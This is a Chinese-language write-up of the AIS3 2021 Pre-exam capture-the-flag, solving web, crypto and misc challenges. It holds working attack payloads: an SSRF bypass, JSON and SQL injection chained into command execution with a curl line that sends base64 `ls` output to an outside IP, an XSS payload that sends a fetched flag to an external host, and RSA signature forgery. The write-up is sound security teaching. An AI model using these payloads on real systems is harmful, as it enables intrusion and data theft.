---
# System prepended metadata

title: AIS3 Pre-exam MyFirstCTF 2021 Write Up
tags: [AIS3]

---

---
tags: AIS3
author: 王博靚
LikerID: ching367436
---

# AIS3 Pre-exam MyFirstCTF 2021 Write Up

## HAAS 

![](https://i.imgur.com/iT5eaBr.png)

> 當天的前天剛好正發現某個網站的 SSRF
> -Hyp

試著讓伺服器對自己送出請求
使用`127.0.0.1`

發現會過濾

直接上 loopback.chi36.ml

loopback.chi36.ml -> 127.0.0.1

AIS3{V3rY_v3rY_V3ry_345Y_55rF}
![](https://i.imgur.com/g2mwN27.png)


##  ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ 
![](https://i.imgur.com/C8TLVxa.png)
 
 看到 Source Code 登入部分
 ```python
 @app.route("/login", methods=['POST'])
def login():
    data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
        request.form["username"], request.form['password']
    )
    session['user_data'] = data
    return redirect("/")

```
看起來可以幫忙結束雙引號
蓋過前面的直

然後可以

接著來看 flag 的部分

```python=
@app.route("/")
def index():
    def valid_user(user):
        return users_db.get(user['username']) == user['password']

    if 'user_data' not in session:
        return render_template("login.html", message="Login Please :D")

    user = json.loads(session['user_data'])
    if valid_user(user):
        if user['showflag'] == True and user['username'] != 'guest':
            return FLAG
        else:
            return render_template("welcome.html", username=user['username'])

    return render_template("login.html", message="Verify Failed :(")

```

:4  的`users_db.get(user['username'])`
如果 username 不存的話會是 `None` 
`user['password']`也是 `None` 的話就可以通過驗證

JSON 的 null 會解析成 `None` 所以

```
username = guest
password = ", "showflag": true, "username": "hyp", "password": null, "h": "h
```

![](https://i.imgur.com/HgbEdCL.png)


##  Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi 
`I believe what you said`

BGM: https://youtu.be/9-NusuQ8JaA

Tutorial Video: https://youtu.be/2b3Oqo13-r0?t=1296
:::danger
:warning:  Tutorial Video 可能不適合某些人觀看
:::

題目要你輸入密碼
打入以下數字即可拿到 flag
```
2025830455293
```
AIS3{H1n4m1z4w4_Sh0k0gun}


![](https://i.imgur.com/CtiFObR.png)

![](https://i.imgur.com/6mNiOwg.png)


## 【5/22 重要公告】
看 有 LFI Style 的 api
![](https://i.imgur.com/6GL5wEm.png)
直接上 `php://filter`
```
http://quiz.ais3.org:8001/?module=php://filter/
convert.base64-encode/
resource=./modules/api
```

```php
<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);

if (isset($_GET['id'])) {
    $data = $db-
```

試試 `php://filter/read`
```
http://quiz.ais3.org:8001/?module=php://filter/read=string.rot13/resource=modules/api
```    

```php
querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true); 
$host = str_replace(' ', '', $data['host']); 
$port = (int) $data['port']; $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE; 
echo json_encode($data); 
} else { 
$json_resp = []; $query_res = $db->query("SELECT * FROM challenges"); 
while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row; 
echo json_encode($json_resp); 
} 
```

pretty print 後

```php=
<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3('SQLITE_DB_PATH');

if (isset($_GET['id'])) {
    $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
    $host = str_replace(' ', '', $data['host']);
    $port = (int) $data['port'];
    $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
    echo json_encode($data);
} else {
    $json_resp = [];
    $query_res = $db->query("SELECT * FROM challenges");
    while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
    echo json_encode($json_resp);
}
```

:8 可以 SQLi
:11 有 `shell_exec`

所以由 SQLi 控制 `$host` 來使用 `shell_exec`

不過 :9 會鍋爐空格
所以改用 `<Tab>`


```
http://quiz.ais3.org:8001/?module=modules/api&&id=1 and 1=2 UNION SELECT 

(SELECT 234), 
"
h.chi36.ml'%0980%09;curl%093.85.129.0/$(ls|base64)'
", 
'80'
```

```
challenges.db
config.php
index.php
modules
```    

```shell
ls /
```
```
bin
boot
dev
etc
flag_81c015863174cd0c14034cc60767c7f5
ho
```


```shell
cat /flag_81c015863174cd0c14034cc60767c7f5
```

```
AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}
```

## questionnaire

AIS3{youweregreat}
![](https://i.imgur.com/Zye3TKq.png)


## Judgement
題目加密方式
```python
for c in flag:
	assert(c in cand)
	enc  += charset[int(sha256(c.encode()).hexdigest(), 16) % len(charset)]

```
```
output: )g;Fk@>2g;2V2J?d5G3_8V2<dR2i5GZ@<?2)g\j_2V&?2;@[F@ek2_3"=k&;2)\F2J9LL4g[W2"[2<)RZ23@<?2elFZ?2=@jZ23@=F2Yi52;lL5Vj2J?2J8\e@eW23e2lF330
```

以題意
算出可能性


```python

o = ')g;Fk@>2g;2V2J?d5G3_8V2<dR2i5GZ@<?2)g\j_2V&?2;@[F@ek2_3"=k&;2)\F2J9LL4g[W2"[2<)RZ23@<?2elFZ?2=@jZ23@=F2Yi52;lL5Vj2J?2J8\e@eW23e2lF330'

res = ""

for ch in o:
	local_res = ""
	for guess in charset:
		out = charset[int(sha256(guess.encode()).hexdigest(), 16) % len(charset)]	
		if out == ch:
			local_res += guess

	res += " " + local_res
```
```
 8A I S 3vG' 9xE{ i TX _ I S _ 4LM _ B( e a uZ 2t 1 5qFH U-= 4LM _ cdK a y _ 0 uZ 2t s i cdK e _ 8A I r D| 5qFH _ 4LM R e _ S i N 3vG' i 7n 9xE{ _ 5qFH 1 o kwQ 9xE{ R S _ 8A r 3vG' _ B( l O" O" m@ I N 6 _ o N _ cdK 8A y s _ 1 i cdK e _ 7n h 3vG' s e _ kwQ i D| s _ 1 i kwQ 3vG' _ Y) 0 uZ _ S h O" uZ 4LM D| _ B( e _ B( U-= r 7n i 7n 6 _ 1 7n _ h 3vG' 1 1 ,}
 ```
 
AIS3{iT_IS_4_Beaut1FUL_day_0utside_8IrD5_4Re_SiNGin9_F1owERS_Ar3_BlOOmIN6_oN_dAys_1iKe_7h3se_kiDs_1ik3_Y0u_ShOuLD_Be_BUrnin6_1n_h311}

https://zh.moegirl.org.cn/zh-tw/Megalovania


## Microchip


AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}

題目
:::spoiler
```cpp=
#include "python.h"


def track(name, id) -> str ꞉                                                    {

    if len(name) % 4 == 0 ꞉                                                     ){
        padded = name + "4444"                                                  ;}
    elif len(name) % 4 == 1 ꞉                                                   ){
        padded = name + "333"                                                   ;}
    elif len(name) % 4 == 2 ꞉                                                   ){
        padded = name + "22"                                                    ;}
    elif len(name) % 4 == 3 ꞉                                                   ){
        padded = name + "1"                                                     ;}

    keys = list()                                                               ;
    temp = id                                                                   ;
    for i in range(4) ꞉                                                         ){
        keys.append(temp % 96)                                                  ;
        temp = int(temp / 96)                                                   ;}

    result = ""                                                                 ;
    for i in range(0, len(padded), 4) ꞉                                         ){

        nums = list()                                                           ;
        for j in range(4) ꞉                                                     ){
            num = ord(padded[i + j]) - 32                                       ;
            num = (num + keys[j]) % 96                                          ;
            nums.append(num + 32)                                               ;}

        result += chr(nums[3])                                                  ;
        result += chr(nums[2])                                                  ;
        result += chr(nums[1])                                                  ;
        result += chr(nums[0])                                                  ;}

    return result                                                               ;}


def main() -> int ꞉                                                             {

    name = open("flag.txt", "r").read().strip()                                 ;
    id = int(input("key = "))                                                   ;

    print("result is:", track(name, id))                                        ;
    return 0                                                                    ;}

```

:::

---

以題意解


:::spoiler
```python=
# m + k = c
# k = c - m
# m = c - k
def decrypt (cypher, key):
    res = ""
    for i in range(0, len(cypher), 4):
        for j in range(len(key))[::-1]:
            c = cypher[i+j] - 32
            k = key[j]
            num = (c-k) % 96
            num += 32
            res += chr(num)
            print(res)

    return res


def main ():
    input = '''=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu'''

    cypher = []
    key = []

    for ch in input:
        cypher.append(ord(ch)%96)

# 已知    開頭
    begin = "AIS3"[::-1]

    print(input)
    print(len(input))
    for i in range(4):
        m = ord(begin[i])
        c = cypher[i]
        k = (c - m + 96) % 96
        key.append(k)

    res = decrypt(cypher, key)
    print(res)
    print(len(res))

if __name__ == '__main__':
    main()
```

:::


##  ReSident evil villAge 
題目

:::spoiler
```python=
import socketserver
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from binascii import unhexlify

class Task(socketserver.BaseRequestHandler):

	def recv(self):
		return self.request.recv(1024).strip()

	def send(self, msg):
		self.request.sendall(msg + b'\n')

	def handle(self):
		privkey = RSA.generate(1024)

		n = privkey.n
		e = privkey.e

		self.send(b'Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag.')
		self.send(b'n = ' + str(n).encode())
		self.send(b'e = ' + str(e).encode())

		while True:
			self.request.sendall(b'1) sign\n2) verify\n3) exit\n')
			option = self.recv()

			if option == b'1':
				self.request.sendall(b'Name (in hex): ')
				msg = unhexlify(self.recv())
				if msg == b'Ethan Winters' or bytes_to_long(msg) >= n:  # msg+k*n not allowed
					self.send(b'Nice try!')
				else:
					sig = pow(bytes_to_long(msg), privkey.d, n)     # TODO: Apply hashing first to prevent forgery
					self.send(b'Signature: ' + str(sig).encode())

			elif option == b'2':
				self.request.sendall(b'Signature: ')
				sig = int(self.recv())
				verified = (pow(sig, e, n) == bytes_to_long(b'Ethan Winters'))
				if verified:
					self.send(b'AIS3{THIS_IS_A_FAKE_FLAG}')
				else:
					self.send(b'Well done!')

			else:
				break

class ForkingServer(socketserver.ForkingTCPServer, socketserver.TCPServer):
	pass

if __name__ == "__main__":
	HOST, PORT = '0.0.0.0', 42069
	print(HOST, PORT)
	server = ForkingServer((HOST, PORT), Task)
	server.allow_reuse_address = True
	server.serve_forever()

```
:::

指數運算提
解
### Srep 2 
factorize `Ethan Winters` = a*b


dec: 

$a = 33759323085949548325642458097$

$b = 163$

hex: 

a = 0x6d150ebb92427fdc8e1053f1

b = 0xa3

    
### Strp 3 
get $c_1=a^d$, $c_2=b^d$
    
### Step 4
get `Ethan Winters`^d = $c_1 \times c_2$ $in$ $Z_n$


AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}

:::spoiler
```
ch@CHSMP a % nc quiz.ais3.org 42069
Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag.
n = 154308686914944431184722978303987993607296052541026719427196273541332642000259916005712946802768443349399637684771983111898013974711822855658285431528125904361648682121420911363018223268980617008316682048191188769999251832968635692729215347973075143803853614934582760111987291129960324916550583749724239322723
e = 65537
1) sign
2) verify
3) exit
1
Name (in hex): 6d150ebb92427fdc8e1053f1
Signature: 152696502197165537709876489519424462821039629054065697317918669710344915327324906556301089567051410118196914432287004745241094035518923588323132893715590910319077376616000123331642575757754691624065540965316285895835796315307143918925664756813096204703208996755949243216652724045815717194948769514038388449318
1) sign
2) verify
3) exit
1
Name (in hex): a3
Signature: 87799616000515234657749466045313092409904814284899676843666270078115468043445146946492428343569555692993883937719889614376519097547442830071318924152068557024685955465788961893471673585342147281862676760278133472342448633503565125744704186912119646643611317843550974343194235415342375156786206277939095735158
1) sign
2) verify
3) exit
2
Signature: 13406694257532965029409772363062512736898126727322601914935464325300801281686536004624493562409871135401080459811700289080310387452901606949985268174119348826577610846200427015504113092632954234288903432535707769253854158662816219876694869579297199545672265023296808689693999133197495937716789506447198952041310918916971326391027797591795906027695057598640198811211106119116823094432350735026618042211381881631214641196732105382895723687483194271857174740176342469483878656855782993977780012437599835599267465097674126214687272907479625220756652123136236543637376648532222928549595930638505272359486771331862833722244
AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
1) sign
2) verify
3) exit
ch@CHSMP a % 

```
:::


## Microcheese

這題玩家可以跳過不下（
server.py:20

:::spoiler
```
+---+-------------- stones info ------------------+
| 0 | o                                           |
| 1 | oooooooo                                    |
+--------------------- moved ---------------------+
| i removed 7 stones from pile 1                  |
+---+-------------- stones info ------------------+
| 0 | o                                           |
| 1 | o                                           |
+---+--------------- game menu -------------------+
| 0 | make a move                                 |
| 1 | save the current game and leave             |
| 2 | resign the game                             |
+---+---------------------------------------------+
it's your turn to move! what do you choose? e
+--------------------- moved ---------------------+
| you removed 7 stones from pile 1                |
+---+-------------- stones info ------------------+
| 0 | o                                           |
| 1 | o                                           |
+--------------------- moved ---------------------+
| i removed 1 stones from pile 0                  |
+---+-------------- stones info ------------------+
| 0 | o                                           |
+---+--------------- game menu -------------------+
| 0 | make a move                                 |
| 1 | save the current game and leave             |
| 2 | resign the game                             |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 0
which pile do you choose? 0
how many stones do you remove? 1
+---------------- congratulations ----------------+
| you are a true grandmaster of chess! here is    |
| the flag for you:                               |
| AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3} |
+-------------------------------------------------+
```


:::


## XSSME

由
http://quiz.ais3.org:8003/logout
發現
http://quiz.ais3.org:8003/?message=Logout%20success!

的 message 可以 XSS

限制為
長度 55
以及 CSP 'self' 'unsafe-inline'

https://splitline.github.io/domain-obfuscator/
這個網站可以縮短網址長度

```
http://quiz.ais3.org:8003/?message=</script><script>location=`//ⓒHｉ㊱.㎖/x.html`//
```

```
::ffff:10.153.11.126 - - [25/May/2021 15:03:20] "GET /x.html HTTP/1.1" 200 -
```

```http
GET / HTTP/1.1
Host: chi36.ml
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xss-me/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
```
確定可以XSS

接著是字數的限制
用 `location.hash`來突破



payload
```
http://quiz.ais3.org:8003/?message=</script><script>location=location.hash.slice(1)//#javascript:fetch('getflag').then(e=>e.text()).then(t=>location=`//10.153.2.190/`+t)
```
```http
GET /AIS3%7BXSS_K!NG%7D HTTP/1.1
Host: 10.153.2.190
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xss-me/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

```

![](https://i.imgur.com/Ewklw4s.png)


這題也可以 CSRF
所以可以讓 admin 對自己發送請求 以行程一個無限迴圈


## [震撼彈] AIS3 官網疑遭駭！

![](https://i.imgur.com/Svz08tX.png)


pcap 中有一個很像shell 的 
```http
GET /Index.php?page=%3DogLgMHb HTTP/1.1
Host: magic.ais3.org:8100
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0, no-cache
Pragma: no-cache

```

```
Index.php
index.php

```

page 後面的很像 base64 的 `ls .` reverse 後的

直接訪問 ip 只會看到 nginx
```
http://10.153.11.126:8100/
```
![](https://i.imgur.com/gSw6iAO.png)



從 `/private/etc/hosts` 用好 DNS 後訪問
```
http://magic.ais3.org:8100/Index.php?page=%3DogLgMHb
```
![](https://i.imgur.com/btUqNAt.png)
真的是 shell

```
ls /
```
![](https://i.imgur.com/QJrHZYk.png)
```
cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d
```
![](https://i.imgur.com/1CiDyQN.png)


## Republic of South Africa [245 pts]

<style>

.likecoin-button {
  position: relative;
  width: 100%;
  max-width: 485px;
  max-height: 240px;
  margin: 0 auto;
}
.likecoin-button > div {
  padding-top: 49.48454%;
}
.likecoin-button > iframe {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
}
</style>

<div class="likecoin-embed likecoin-button">
  <div></div>
  <iframe scrolling="no" frameborder="0" src="https://button.like.co/in/embed/ching367436/button?referrer=https://hackmd.io/@Ching367436/AIS3_2021_Pre-exam_MyFirstCTF_Write_Up&type=hackMD"></iframe>
</div>

---

原文網址 https://hackmd.io/@Ching367436/AIS3_2021_Pre-exam_MyFirstCTF_Write_Up